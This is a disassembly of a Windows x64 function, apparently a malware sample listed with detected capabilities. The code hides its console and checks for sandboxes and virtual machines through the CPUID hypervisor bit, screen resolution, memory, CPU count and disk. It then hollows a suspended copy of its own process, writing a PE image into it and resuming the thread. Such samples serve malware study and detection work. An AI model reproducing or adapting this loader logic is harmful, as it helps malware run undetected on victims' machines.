Function at 0x140002820
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get disk size
Get memory capacity
Get system information on windows
Resume thread
Use process replacement

Disassembly:
push rbp
push rbx
push rsi
push r13
lea rbp, [rsp - 0x448]
sub rsp, 0x548
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x430], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140001a00
xor r13d, r13d
test al, al
jne 0x140002953
call fcn.1400014f0
test al, al
jne 0x140002953
xor ecx, ecx
mov dword [rsp + 0x70], r13d
mov eax, 1
cpuid
sar ecx, 0x1f
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6c], ebx
mov dword [rsp + 0x74], edx
test cl, 1
jne 0x140002953
call fcn.140001d20
test al, al
jne 0x140002953
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
lea ecx, [r13 + 1]
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cmp ebx, 0x640
jne 0x1400028ca
cmp eax, 0x384
jmp 0x1400028fc
cmp ebx, 0x780
jne 0x1400028e0
cmp eax, 0x438
je 0x1400028fe
cmp eax, 0x4b0
jmp 0x1400028fc
cmp ebx, 0xa00
jne 0x1400028ef
cmp eax, 0x5a0
jmp 0x1400028fc
cmp ebx, 0xf00
jne 0x140002953
cmp eax, 0x870
jne 0x140002953
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x140002953
mov rax, qword [rbp - 0x78]
movabs rcx, 0x100000000
and rax, 0xfffffffffff00000
cmp rax, rcx
jb 0x140002953
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp - 0x60], 4
jb 0x140002953
xor r9d, r9d
lea r8, [rsp + 0x68]
xor edx, edx
lea rcx, str._c:_
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
movsxd rbx, dword [0x14000b0ac]
lea rsi, [0x14000b070]
xorps xmm1, xmm1
mov qword [rsp + 0x570], rdi
xor eax, eax
add rbx, rsi
xorps xmm0, xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rbp + 0x20], rax
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
movups xmmword [rbp], xmm1
movups xmmword [rbp + 0x10], xmm1
cmp dword [rbx], 0x4550
jne 0x140002b5e
mov r8d, 0x104
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x30]
lea rax, [rbp - 0x40]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140002b5e
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rdi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140002b5e
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x578], r12
mov qword [rsp + 0x580], r14
mov qword [rsp + 0x540], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, rsi
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r14, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r15, r13
cmp r13w, word [rbx + 6]
jae 0x140002b13
mov rsi, r13
nop word [rax + rax]
movsxd rcx, dword [0x14000b0ac]
lea rax, [0x14000b070]
add rcx, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rcx + rax + 0x11c]
mov edx, dword [rcx + rax + 0x114]
add r8, rax
mov r9d, dword [rcx + rax + 0x118]
add rdx, r14
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rdi + 0x88]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r15
add rsi, 0x28
cmp r15, rax
jb 0x140002aa0
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, r14
mov qword [rdi + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r15, qword [rsp + 0x540]
mov r14, qword [rsp + 0x580]
mov r12, qword [rsp + 0x578]
mov rdi, qword [rsp + 0x570]
xor eax, eax
mov rcx, qword [rbp + 0x430]
xor rcx, rsp
call fcn.140004c10
add rsp, 0x548
pop r13
pop rsi
pop rbx
pop rbp
ret